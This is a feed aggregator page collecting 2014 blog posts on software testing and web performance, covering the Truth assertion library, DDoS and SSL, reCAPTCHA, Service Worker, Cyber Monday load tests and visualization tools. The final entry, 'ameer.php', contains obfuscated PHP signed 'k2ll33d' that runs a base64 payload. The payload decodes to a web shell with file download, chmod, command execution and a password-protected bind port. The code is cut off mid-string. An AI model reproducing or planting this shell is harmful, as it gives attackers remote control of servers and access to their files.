Feed aggregator

Static code analysis for LoadRunner scripts

Performance Testing with LoadRunner Focus - Fri, 12/19/2014 - 15:41
The idea of static code analysis has been around since at least the 1970s. These days, some kind of static analysis is usually built into most good quality IDEs (or it is available as a plug-in). Static analysis tools find bugs in software by looking at the program’s source code rather than executing the program. […]
Categories: Load & Perf Testing

Testing on the Toilet: Truth: a fluent assertion framework

Google Testing Blog - Fri, 12/19/2014 - 11:28
by Dori Reuveni and Kurt Alfred Kluever

This article was adapted from a Google Testing on the Toilet (TotT) episode. You can download a printer-friendly version of this TotT episode and post it in your office.


As engineers, we spend most of our time reading existing code, rather than writing new code. Therefore, we must make sure we always write clean, readable code. The same goes for our tests; we need a way to clearly express our test assertions.

Truth is an open source, fluent testing framework for Java designed to make your test assertions and failure messages more readable. The fluent API makes reading (and writing) test assertions much more natural, prose-like, and discoverable in your IDE via autocomplete. For example, compare how the following assertion reads with JUnit vs. Truth:
assertEquals("March", monthMap.get(3)); // JUnit
assertThat(monthMap).containsEntry(3, "March"); // TruthBoth statements are asserting the same thing, but the assertion written with Truth can be easily read from left to right, while the JUnit example requires "mental backtracking".

Another benefit of Truth over JUnit is the addition of useful default failure messages. For example:
ImmutableSet<String> colors = ImmutableSet.of("red", "green", "blue", "yellow");
assertTrue(colors.contains("orange")); // JUnit
assertThat(colors).contains("orange"); // TruthIn this example, both assertions will fail, but JUnit will not provide a useful failure message. However, Truth will provide a clear and concise failure message:

AssertionError: <[red, green, blue, yellow]> should have contained <orange>

Truth already supports specialized assertions for most of the common JDK types (Objects, primitives, arrays, Strings, Classes, Comparables, Iterables, Collections, Lists, Sets, Maps, etc.), as well as some Guava types (Optionals). Additional support for other popular types is planned as well (Throwables, Iterators, Multimaps, UnsignedIntegers, UnsignedLongs, etc.).

Truth is also user-extensible: you can easily write a Truth subject to make fluent assertions about your own custom types. By creating your own custom subject, both your assertion API and your failure messages can be domain-specific.

Truth's goal is not to replace JUnit assertions, but to improve the readability of complex assertions and their failure messages. JUnit assertions and Truth assertions can (and often do) live side by side in tests.

To get started with Truth, check out http://google.github.io/truth/

Categories: Software Testing

A Little Q & A

Alan Page - Thu, 12/18/2014 - 12:57

I took some time recently to answer some questions about Combined Engineering, Data-Driven Quality, and the Future of Testing for the folks at the A1QA blog.

Check it out here.

(potentially) related posts:
  1. HWTSAM – Six Years Later
  2. Testing Trends…or not?
  3. Finding Quality
Categories: Software Testing

5 things you should know about DDoS attacks, outages, SSL, and web performance

Web Performance Today - Wed, 12/17/2014 - 16:49

It’s no surprise that online security is a burgeoning issue. 2014 has been a watershed year for the security industry, as cyberattacks reached a tipping point in terms of quantity, length, complexity, and targets.

Last week at Radware, we released our annual Global and Network Security Report. This report is based on data gathered from a survey of 330 organizations worldwide. The survey was designed to collect objective, vendor-neutral information about the issues organizations face when preparing for and fighting against cyberattacks.

The report gives a comprehensive and objective review of the past year’s cyberattacks from both a business and a technical perspective. It also offers best practice advice for organizations when planning for cyberattacks in 2015. But my favourite aspect of this report is the fascinating play-by-play insight into how today’s sophisticated attacks take place.

Key findings
  • The internet pipe is the number one failure point in 2014.
  • 19% of major reported attacks were considered “constant” by the targeted organization.
  • The most commonly reported (15%) attack duration was one month. Yet 52% of respondents said they could only fight a campaign for a day or less.
  • Education, gaming, healthcare, and hosting/ISPs are the most highly targeted verticals.
  • The Internet of Things brings an end to controlled endpoints and introduces new security threats.
  • Software-defined network (SDN) DDoS capabilities are insufficient today and don’t allow customers to efficiently mitigate complex attacks.

Security and performance are incredibly closely entwined, and in some circles it’s a little-known fact that a cyberattack can have as much — if not more — impact on web performance as it has on downtime. Here are a few security/performance insights…

1. DoS/DDoS attacks are incorrectly associated only with service outage.

Many people believe that a successful DoS/DDoS attack results in a service outage. However, in our 2013 report, we revealed that the biggest impact of DoS/DDoS attacks was service level degradation, which in most cases is felt as service slowness. This finding has remained consistent throughout 2014.

2. Service degradation is felt more than twice as much as outages.

87% of respondents to past surveys have stated that they experience service level issues during security attacks – 60% encountered service degradation, while 27% experienced outages.

3. Slowdowns can hurt much more than outages.

As I’ve shared elsewhere, website slowdowns can have double the negative impact on an organization’s revenues as outages.

4. Gaming sites are extremely sensitive to speed degradation and outage.

A longstanding target of cyberattacks, gaming sites have historically been vulnerable when unsuccessful players sought revenge for their losses by pounding the site with whatever is at their disposal—which, in many cases, was a DDoS attack. In 2014, the experience of Radware’s ERT shows that attacks on gaming sites were longer and meaner. In all likelihood, these incidents didn’t result from lone angry users. The more likely sources of these sustained attacks are competitive saboteurs, extortion-driven attackers or other entities with large capacities.

5. SSL incurs potential performance risks.

A growing number of attacks target resources accessible over the Secure Sockets Layer (SSL). As a result, traffic is encrypted and defense mechanisms are often unable to inspect it. In these cases, defense mechanisms proxy the Transmission Control Protocol (TCP) payload without performing a real inspection. When defense mechanisms actually perform SSL decryption, they incur risk associated with heavy processing of the decryption and encryption. That processing places a significant burden on the SSL server-side computational and memory resources. Thus, many attackers add encryption to increase the strain rather than to actually evade detection.

So the question is: does this affect web performance? I asked Carl Herberger, Radware’s VP Security Solutions. His answer: “It depends.”

The SSL problem associated with cyberattacks stems from the issue in which security tools are generally opaque to the encrypted traffic and then can’t do inspection of the traffic for analysis. If they decrypt it and inspect it, then it causes (potentially) a performance issue. If they don’t decrypt it, they may have an even worse security issue on their hands.

Ultimately, “It’s a ‘damned if I do, damned if I don’t’ situation for performance and management.”

Conclusion

Organizations must be alert to the fact that security threats are at least as much a financial threat on the performance degradation front as they are on the outage front. And with more attacks targeting assets over SSL, there is an increased performance penalty incurred by heavy processing of decryption and encryption by defense solutions. As cyberattacks increase in length, complexity, and intensity, this will ultimately have a growing negative impact on end-user performance.

Get the report: Global Application and Network Security Report [2014-2015]

The post 5 things you should know about DDoS attacks, outages, SSL, and web performance appeared first on Web Performance Today.

Google improves CAPTCHA

LoadStorm - Wed, 12/17/2014 - 09:41

Google recently announced their “no CAPTCHA reCAPTCHA” method that simplifies the end-user experience while offering an intelligent threat assessment behind the scenes to detect potential robots. All you will typically need to do is click a checkbox that tells their CAPTCHA that you’re not a robot. Then a brief loading animation occurs while it runs the assessment algorithm. If the system is not sure you’re human, it will then prompt you with an additional CAPTCHA check that uses the traditional distorted image for an extra security check. However, if you’re on a mobile browser, you may encounter a different method for the secondary check. This new method that Google is experimenting with will display an image, such as a cat, and will ask you to select all other images that match the subject.

So I definitely see the positive side here since humans should be able to proceed more quickly through a signup form or other checkpoint that requires CAPTCHA. People are impatient when using the internet, so every effort to speed things up is helpful in improving their experience. However, the other point Google makes is that robots are being programmed with enough intelligence to decipher these distorted text images with a 99.8% accuracy. So given that they’ve added an extra step with the click a checkbox, the next step isn’t any different than regular CAPTCHA unless you get the occasional experimental CAPTCHA that uses an image matching test. I’m not aware of the programming that goes into these robots, but it seems like it would be easy enough to tackle a checkbox and then interpret the distorted text image as usual.

What do you think?

The post Google improves CAPTCHA appeared first on LoadStorm.

Application Performance Clinics – Top Problems Solved in November

Over the past few months I have been giving online and offline talks called Performance Clinics. During these clinics, I show you how to analyze performance and give you feedback on the data you’ve collected on your own application. For Dynatrace users, I run a special offer called “Share Your PurePath” where I provide feedback […]

The post Application Performance Clinics – Top Problems Solved in November appeared first on Dynatrace APM Blog.

Categories: Load & Perf Testing

Capability Reporting with Service Worker

Ilya Grigorik - Mon, 12/15/2014 - 01:00

Some people, when confronted with a problem, think: “I'll use UA/device detection!” Now they have two problems...

But, despite all of its pitfalls, UA/device detection is a fact of life, a growing business, and an enabling business requirement for many. The problem is that UA/device detection often frequently misclassifies capable clients (e.g. IE11 was forced to change their UA); leads to compatibility nightmares; can't account for continually changing user and runtime preferences. That said, when used correctly it can also be used for good.

Browser vendors would love to drop the User-Agent string entirely, but that would break too many things. However, while it is fashionable to demonize UA/device detection, the root problem is not in the intent behind it, but in how it is currently deployed. Instead of "detecting" (i.e. guessing) the client capabilities through an opaque version string, we need to change the model to allow the user agent to "report" the necessary capabilities.

Granted, this is not a new idea, but previous attempts seem to introduce as many issues as they solve: they seek to standardize the list of capabilities; they require agreement between multiple slow-moving parties (UA vendors, device manufacturers, etc); they are over-engineered - RDF, seriously? Instead, what we need is a platform primitive that is:

  • Flexible: browser vendors cannot anticipate all the use cases, nor do they want or need to be in this business beyond providing implementation guidance and documenting the best-practices.
  • Easy to deploy: developers must be in control over which capabilities are reported. No blocking on UA consensus or other third parties.
  • Cheap to operate: compatible and deployable with existing infrastructure. No need for third-party databases, service contracts, or other dependencies in the serving path.

Here is the good news: this mechanism exists, it's Service Worker. Let's take a closer look...

Service worker is an event-driven Web Worker, which responds to events dispatched from documents and other sources… The service worker is a generic entry point for event-driven background processing in the Web Platform that is extensible by other specifications - see explainer, starter, and cookbook docs.

A simple way to understand Service Worker is to think of it as a scriptable proxy that runs in your browser and is able to see, modify, and respond to, all requests initiated by the page it is installed on. As a result, the developer can use it to annotate outbound requests (via HTTP request headers, URL rewriting) with relevant capability advertisements:

  1. Developer defines what capabilities are reported and on which requests.
  2. Capability checks are executed on the client - no guessing on the server.
  3. Reported values are dynamic and able to reflect changes in user preference and runtime environment.

This is not a proposal or a wishlist, this is possible today, and is a direct result of enabling powerful low-level primitives in the browser - hooray. As such, now it's only a question of establishing the best practices: what do we report, in what format, and how to we optimize interoperability? Let's consider a real-world example...

E.g. optimizing video startup experience

Our goal is to deliver the optimal — fast and visually pleasing — video startup experience to our users. Simply starting with the lowest bitrate is suboptimal: fast, but consistently poor visual quality for all users, even for those with a fast connection. Instead, we want to pick a starting bitrate that can deliver the best visual experience from the start, while minimizing playback delays and rebuffers. We don't need to be perfect, but we should account for the current network weather on the client. Once the video starts playing, the adaptive bitrate streaming will take over and adjust the stream quality up or down as necessary.

The combination of Service Worker and Network Information API make this trivial to implement:

// register the service worker navigator.serviceWorker.register('/worker.js').then( function(reg) { console.log('Installed successfully', reg) }, function(err) { console.log('Worker installation failed', err) } ); // ... worker.js self.addEventListener('fetch', function(event) { var requestURL = new URL(event.request); // Intercept same origin /video/* requests if (requestURL.origin == location.origin) { if (/^\/video\//.test(requestURL.pathname)) { // append the MD header, set value to NetInfo's downlinkMax: // http://w3c.github.io/netinfo/#downlinkmax-attribute event.respondWith( fetch(event.request.url, { headers: { 'MD': navigator.connection.downlinkMax } }) ); return; } } });
  1. Site installs a Service Worker script that is scoped to capture /video/* requests.
  2. When a video request is intercepted, the worker appends the MD header and sets its value to the current maximum downlink speed. Note: current plan is to enable downlinkMax in Chrome 41.
  3. Server receives the video request, consults the advertised MD value to determine the starting bitrate, and responds with the appropriate video chunk.

We have full control over the request flow and are able to add additional data to the request prior to dispatching it to the server. Best of all, this logic is transparent to the application, and you are free to customize it further. For example, want to add an explicit user override to set a starting bitrate? Prompt the user, send the value to the worker, and have it annotate requests with whatever value you feel is optimal.

Tired of writing out srcset rules for every image? Service Worker can help deliver DPR-aware <img>'s: use content negotiation, or rewrite the image URL's. Note that device DPR is a dynamic value: zooming on desktop browsers affects the DPR value! Existing device detection methods cannot account for that. Implementation best practices

Service Worker enables us (web developers) to define, customize, and deploy new capability reports at will: we can rewrite requests, implement content-type or origin specific rules, account for user preferences, and more. The new open questions are: what capabilities do our servers need to know about, and what's the best way to deliver them?

It will be tempting to report every plausibly useful property about a client. Please think twice before doing this, as it can add significant overhead to each request - be judicious. Similarly, it makes sense to optimize for interoperability: use parameter names and format that works well with existing infrastructure and services - caches and CDN's, optimization services, and so on. For example, the MD and DPR request headers used in above examples come from Client-Hints, the goals for which are:

  • To document the best practices for communicating client capabilities via HTTP request header fields.
  • Acts as a registry for common header fields to help interoperability between different services.
    • e.g. you can already use DPR and RW hints to optimize images with resrc.it service.

Now is the time to experiment. There will be missteps and poor initial implementations, but good patterns and best practices will emerge. Most importantly, the learning cycle for testing and improving this infrastructure is now firmly in the hands of web developers: deploy Service Worker, experiment, learn, and iterate.

Cyber Monday Performance Evaluations

LoadStorm - Fri, 12/12/2014 - 14:22

From Amazon to Argos, online retailers are experiencing more traffic than ever this holiday season. This Cyber Monday reached a record high of $2.68 billion! Competition is fierce, and in this game, seconds = $$$.

This year, we selected 29 major e-commerce sites and used LoadStorm to run several tests to compare their performance on the Wednesday before Thanksgiving with Cyber Monday. We created scripts for each site to model typical e-commerce user activity. Each script would hit the homepage, search for a product, add a product to the cart, and then visit the cart. Then we ran our performance tests for 10 minutes at a time, scaling from one to ten virtual users (vusers).

Here’s what we found:

Average Page Completion Time remained relatively reasonable.

Out of the 29 companies, 7 slowed down:

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/b19a7e0e607c4e6f871425d9e65450bf?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Walmart’s average page completion time increased from 2.9 seconds to 7.8 seconds. That’s huge! Amazon, on the other hand, remained consistent, with an average page completion time of just 1.6 seconds on both days. Average Page Completion Time remained nearly the same for the majority of the sites.

Six companies sped up:

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/194c7614fc474339822c76ea35d9b2b2?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Performance Error Rates increased.

Our preliminary load tests revealed zero performance errors across the board, with one exception. Monday, however, was a different story, as we saw five different companies experience performance errors. This included request read timeouts, request connection timeouts, and even some 503 (service unavailable) errors.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/cd90449da4a34cd586241f49db236220?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

The exception to the increase in performance error rates was Best Buy. Interestingly, we saw Best Buy experience seven request read timeout errors on Wednesday (on product pages and search results), but none on Monday. This seems to corroborate the fact that they became overwhelmed with traffic over the weekend, but they appeared to have recovered gracefully by Cyber Monday.

Peak Page Completion Times increased.

Every site we tested experienced high peak completion times. Some of the best performers with the lowest peak page completion time on both Wednesday and Cyber Monday included Toys “R” Us, Brookstone (one of our customer’s – yay!), Ikea, and Amazon, with peak page completion time only deviating 7% from their mean.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/0ed451f83e094382885704f17ecb83da?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Web Page Test Results

Web page tests were on each company’s home page were performed during testing on Wednesday and Monday as well. Surprisingly, the overall trend was a decrease in page load times. The average page load time from our web page tests decreased from 9.3 seconds to 5.6 seconds. We’re impressed!

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/f38d4bebb28d402ebd112aff763d6878?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Overall Performance

Nobody crashed while we were running our performance tests. Most sites appeared to perform reasonably well, but knowing that just one second delay could cost Amazon over $1.6 billion in sales over the course of a year those few errors matter immensely. Just 250 milliseconds, either slower or faster, is the magic number for competitive advantage on the web. So while none of the sites crashed entirely, whether or not they beat out their competition is another story.

Curious about how your site is performing? Try a free quickstorm instantly by entering your site’s URL here!

Please note that none of the companies involved were contacted nor paid for participation in our experiments. These were just for fun. Here’s the complete list of the companies we tested:

  • Walmart
  • Macy’s
  • JCPenny
  • Amazon
  • Target
  • Victoria’s Secret
  • Finish Line
  • Best Buy
  • Toys “R” Us
  • Urban Outfitters
  • Crate and Barrel
  • Barnes and Noble
  • Nordstrom
  • Newegg
  • PC Mall
  • Ann Taylor
  • Motorola
  • Avon
  • Footlocker
  • Brookstone
  • Kohls
  • Radioshack
  • Ebay
  • Argos
  • Ikea
  • Home Depot
  • Office Depot
  • Staples
  • Sam’s Club

The post Cyber Monday Performance Evaluations appeared first on LoadStorm.

WordPress Performance Comparison: Shared Hosting -vs- Digital Ocean

LoadImpact - Thu, 12/11/2014 - 08:56

This post was originally posted by Brian Christner on his blog. Brian is an American living in beautiful Switzerland. He is the Swiss Army knife of cloud computing specializing in Linux, Docker, IaaS, PaaS, or anything with a .io domain name. He enjoys riding his motorcycle, the outdoors, and open source projects. Follow Brian on his blog or connect ... Read more

The post WordPress Performance Comparison: Shared Hosting -vs- Digital Ocean appeared first on Load Impact Blog.

Categories: Load & Perf Testing

Dynatrace AJAX Edition 4.5 is here! Closing the Last Chapter, but the Story Continues

Over the last couple of years the Dynatrace engineering team out of Linz, Austria continually updated one of the best browser diagnostics tools for Internet Explorer and Firefox on Windows. Back in 2009 it received strong endorsements from Steve Souders and John Resig and Dynatrace AJAX Edition became very popular. Today we are announcing the […]

The post Dynatrace AJAX Edition 4.5 is here! Closing the Last Chapter, but the Story Continues appeared first on Dynatrace APM Blog.

Categories: Load & Perf Testing

Beyond spreadsheets and waterfalls: 4 tools to make your performance data exciting (to people other than you)

Web Performance Today - Wed, 12/10/2014 - 09:52

One of my first experiences in witnessing the power of visualizing performance data was several years ago, when I started work at Strangeloop (which has since been acquired by Radware). We had been doing a proof of concept of our front-end optimization solution (then known as Site Optimizer, now called FastView) with a prospective customer. We had great results. Among other things, we cut start render and page load times by more than half on all the landing pages we tested on.

All the results — and bear in mind, these were fantastic numbers — were neatly presented in a set of waterfall charts with an accompanying Excel doc. But the customer was only somewhat impressed and still on the fence. Then someone on our team had the idea to generate timed side-by-side videos showing the “before and after” renders for each page. The videos were a hit. The customer immediately shared them with everyone on his management team. Much excitement ensued. We closed the sale. After that, videos became a cornerstone of our POC process.

In hindsight, this “aha” moment sounds like a no-brainer. We humans are visual creatures. Most of us respond better to data visualizations than we do to raw data. Yet it’s amazing how often we find ourselves defaulting to spreadsheets and waterfall charts.

While we can’t always replace our spreadsheets and waterfalls with awesome graphics, it’s exciting to see that more and more tool vendors are experimenting with ways to help us visualize our performance data and make it infinitely more persuasive. In this post, I’m going to highlight four tools I use all the time to demonstrate performance issues. (Not only are these great tools, they’re also my favourite price: free!)

WebPagetest

What it does: Developed by Patrick Meenan, WebPagetest is a synthetic performance test that has become a staple for many folks in the performance community. It allows you to test any page on the web to measure a tonne of performance metrics, from first response to load time, all of which will be generated in a handy-dandy waterfall chart. But that’s just the beginning. You can customize your test for connection type, browser, location, latency, bandwidth, packet loss, and bunch of other variables.

But for me, the most exciting WebPagetest feature is the ‘Capture Video’ option, which generates excellent visualizations, chiefly videos and filmstrip views. WebPagetest lets you generate a timed video of your page render. Even more exciting, you can run tests of your pages alongside competitors’ pages (click on the ‘Visual Comparison’ tab), and generate side-by-side videos comparing your load times to your competitors’, like this:

You can also generate a frame-by-frame filmstrip view of the page render. This is super handy for getting quick insight into performance bottlenecks, as well as the user experience for people on slower connections. (e.g. Are people waiting ages for your feature content, which loads last?) Graphics like this are handy for embedding into reports when videos aren’t an option:

You can also run WebPagetest private instances to do all kinds of other cool stuff, such as test the impact of new tools and optimizations. We use WebPagetest heavily at Radware. If you’re not already using it, I strongly recommend that you check it out, play around with it, explore its many features (not all of which I’ve covered here), and make it part of your everyday toolkit.

When it’s useful: When you need to generate awareness (or outright fear) around the fact that your competitors are outperforming you. When you want a bird’s eye view of a page’s performance so you can figure out where the performance bottlenecks are. When you want to do A/B or multivariate testing of the impact of tools/content/other variables on load times.

Link: WebPagetest Perfmap

What it does: Perfmap is one of those tools that seems so simple, so obvious, and so useful, you wonder why it never existed up till recently. Developed by Mark Zeman, it’s a free Chrome extension that generates a heatmap of page resources, along with the timing for when the image finished loading and the time (in parentheses) it took for the image to load. The legend attached to the bottom of the page shows timings for the full page load. (Side note: This entire post was inspired by Mark’s excellent Velocity talk, A Better Waterfall Chart.)

To demonstrate, here’s how Perfmap generates a heatmap for a page on this site:

Let’s take a closer look at the heatmap. Below you can see that the main image on the page took 640ms to load, and finished rendered at the 1183ms point. The coloured bar at the bottom of the page is a timeline indicator that also shows that the page’s total load time was 2189ms. On the live page, hovering over a coloured area on the heatmap moves the timeline indicator to show you when that image was fully loaded. Cool, right?

When it’s useful: When you need a quick, easy way to demonstrate to designers and content creators and other spreadsheet-averse individuals the impact that large, unoptimized images have on load times.

Install: Perfmap SPOF-O-Matic

What it does: Born out of one of the many capabilities of WebPagetest, SPOF-O-Matic is another handy Chrome extension. It detects likely single points of failure (SPOFs) on any page on the web. It also allows you to simulate how a page would perform if specific third-party scripts were unavailable.

I’ll illustrate how it works, using TechCrunch as a guinea pig. First, clicking on the SPOF-O-Matic icon generates a list of potential front-end SPOFs:

Then clicking on the “Generate SPOF Comparison Video” link takes you to WebPagetest, which generates a side-by-side video showing what this page would look like if these third parties were non-responsive:

And you can also generate a filmstrip version of the video for embedding in documents:

When it’s useful: Third-party scripts are a huge potential performance pain. This doesn’t get talked about nearly as much as it should. SPOF-O-Matic is a useful tool for creating awareness about the threat that non-performant scripts present to your site.

Install: SPOF-O-Matic Ghostery

What it does: Ghostery is an extension that’s available for pretty much every desktop and mobile browser. Interestingly, this tool was originally developed to give regular web users real-time visibility into the third-party pixels, beacons, etc. that track and gather their user data, and then allow users to block individual scripts. (It also makes it easy to re-enable them, if you change your mind later.)

I started using Ghostery as a companion to SPOF-O-Matic, to quickly identify all the third-party scripts on a given page. Here’s how it looks when I visit the same TechCrunch page I visited above:

But the folks behind Ghostery quickly realized that their app offers a lot of value to site owners as well, and they’ve created an enterprise version that does a lot of nifty, powerful stuff behind the scenes. With the largest tracker database on the web (1900+ trackers and 2300+ tracking patterns), the enterprise version gives site owners a real-time bird’s eye view, via cloud graphics — of all the externally scripts on any given page. At a glance, you can learn things like which external scripts are slowing down your pages, which are stale and linking to dead pages, and which are creating security holes.

For example, below is a graph that shows the entire third-party marketing cloud for Sears.com. You can clearly see the relationships between all the scripts, including which third-parties are making calls to other scripts, i.e. fourth-party and even fifth-party calls.

And below is the same marketing cloud, but this time depicting the real-time latency for each provider. At the time of this screen grab, you can see that MediaMath, Rubicon, and Integral Ad Science are all running slow. Clicking on the MediaMath bubble reveals that latency is 2060ms.

You can also click the ‘Timeline’ and ‘Tree’ tabs to get more conventional waterfall-style charts as well, but I love these cloud graphs for making a fast, dramatic impact.

When it’s useful: When you realize your site is overrun with third-party scripts and you’ve lost control (or are on the verge of losing control). When you’re serious about tackling third-party performance and security and need a tool that lets you track your entire third-party ecosystem. When you want/need insight into the potentially unauthorized fourth- and fifth-party calls your authorized third-party scripts are triggering.

Install: Ghostery Takeaway

As I said at the top of this post, data is much more persuasive when it’s presented visually. Wouldn’t it be great if more of our RUM tools could generate some or all of these kinds of visualizations? (Hint!) If you know any other tools that do a compelling job of visualizing performance issues, let me know.

The post Beyond spreadsheets and waterfalls: 4 tools to make your performance data exciting (to people other than you) appeared first on Web Performance Today.

Performance Testing -vs- Performance Monitoring

LoadImpact - Wed, 12/10/2014 - 09:04

In recent years IT teams have been deluged with an ever increasing number of tools to monitor and test web and mobile applications.  In fact, IT teams have been faced with a tool sprawl across the entire organization, which can be completely overwhelming. Vendor marketing literature and positioning can make it difficult to determine what ... Read more

The post Performance Testing -vs- Performance Monitoring appeared first on Load Impact Blog.

Categories: Load & Perf Testing

ameer.php

Testing Reflections - Wed, 12/10/2014 - 06:51
<?php // fb/k2ll33d $k2ll33d='Ly8gYnkgazJsbDMzZCAvIGZiL2sybGwzM2QNCnNldF90aW1lX2xpbWl0KDApO2Vycm9yX3JlcG9ydGluZygwKTsNCmlmKGlzc2V0KCRfR0VUWyJkbCJdKSAmJiAoJF9HRVRbImRsIl0gIT0gIiIpKXskZmlsZSA9ICRfR0VUWyJkbCJdOyRmaWxleiA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7aGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpO2hlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRmaWxleikpO2hlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0nIi5iYXNlbmFtZSgkZmlsZSkuIic7Iik7ZWNobyAkZmlsZXo7ZXhpdDt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyJkbGd6aXAiXSkgJiYgKCRfR0VUWyJkbGd6aXAiXSAhPSAiIikpeyRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOyRmaWxleiA9IGd6ZW5jb2RlKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7aGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJGZpbGV6KSk7aGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPSciLmJhc2VuYW1lKCRmaWxlKS4iLmd6JzsiKTtlY2hvICRmaWxlejtleGl0O30gDQppZihpc3NldCgkX0dFVFsiaW1nIl0pKXtAb2JfY2xlYW4oKTskZCA9IG1hZ2ljYm9vbSgkX0dFVFsieSJdKTskZiA9ICRfR0VUWyJpbWciXTskaW5mID0gQGdldGltYWdlc2l6ZSgkZC4kZik7JGV4dCA9IGV4cGxvZGUoJGYsIi4iKTskZXh0ID0gJGV4dFtjb3VudCgkZXh0KS0xXTtAaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTtAaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTtAcmVhZGZpbGUoJGQuJGYpO2V4aXQ7fSAkc29mdHdhcmUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgJHNhZmVtb2RlID0gVFJVRTtlbHNlICRzYWZlbW9kZSA9IEZBTFNFOyRzeXN0ZW0gPSBAcGhwX3VuYW1lKCk7aWYoc3RydG9sb3dlcihzdWJzdHIoJHN5c3RlbSwwLDMpKSA9PSAid2luIikNCiR3aW4gPSBUUlVFO2Vsc2UgJHdpbiA9IEZBTFNFO2lmKGlzc2V0KCRfR0VUWyd5J10pKXtpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXskcHdkID0gJF9HRVRbJ3ZpZXcnXTtAY2hkaXIoJHB3ZCk7fSBlbHNleyRwd2QgPSAkX0dFVFsneSddO0BjaGRpcigkcHdkKTt9IH0gDQppZighJHdpbil7aWYoISR1c2VyID0gcmFwaWgoZXhlKCJ3aG9hbWkiKSkpJHVzZXIgPSAiIjtpZighJGlkID0gcmFwaWgoZXhlKCJpZCIpKSkgJGlkID0gIiI7JHByb21wdCA9ICR1c2VyLiIgXCQgIjskcHdkID0gQGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSANCmVsc2UgeyR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTskaWQgPSAkdXNlcjskcHJvbXB0ID0gJHVzZXIuIiAmZ3Q7IjskcHdkID0gcmVhbHBhdGgoIi4iKS4iXFwiOyR2ID0gZXhwbG9kZSgiXFwiLCRkKTskdiA9ICR2WzBdO2ZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHskYm9vbCA9IEBpc19kaXIoJGxldHRlci4iOlxcIik7aWYgKCRib29sKXskbGV0dGVycyAuPSAiPGEgaHJlZj0nP3k9Ii4kbGV0dGVyLiI6XFwnPlsgIjtpZiAoJGxldHRlci4iOiIgIT0gJHYpeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fSBlbHNlIHskbGV0dGVycyAuPSAiPHNwYW4gY2xhc3M9J2dheWEnPiIuJGxldHRlci4iPC9zcGFuPiI7fSAkbGV0dGVycyAuPSAiIF08L2E+ICI7fX19IA0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgJHBvc2l4ID0gVFJVRTsNCmVsc2UgJHBvc2l4ID0gRkFMU0U7JHNlcnZlcl9pcCA9IEBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7JG15X2lwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107JGJpbmRwb3J0ID0gIjEzMTIzIjskYmluZHBvcnRfcGFzcyA9ICJrMmxsMzNkIjskcHdkcyA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskcHdkdXJsID0gIiI7Zm9yKCRpID0gMCA7JGkgPCBzaXplb2YoJHB3ZHMpLTEgOyRpKyspeyRwYXRoeiA9ICIiO2ZvcigkaiA9IDAgOyRqIDw9ICRpIDskaisrKXskcGF0aHogLj0gJHB3ZHNbJGpdLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSAkcHdkdXJsIC49ICI8YSBocmVmPSc/eT0iLiRwYXRoei4iJz4iLiRwd2RzWyRpXS4iICIuRElSRUNUT1JZX1NFUEFSQVRPUi4iIDwvYT4iO30gDQppZihpc3NldCgkX1BPU1RbJ3JlbmFtZSddKSl7JG9sZCA9ICRfUE9TVFsnb2xkbmFtZSddOyRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTtAcmVuYW1lKCRwd2QuJG9sZCwkcHdkLiRuZXcpOyRmaWxlID0gJHB3ZC4kbmV3O30JaWYoaXNzZXQoJF9QT1NUWydjaG1vZCddKSl7IA0KJG5hbWUgPSAkX1BPU1RbJ25hbWUnXTskdmFsdWUgPSAkX1BP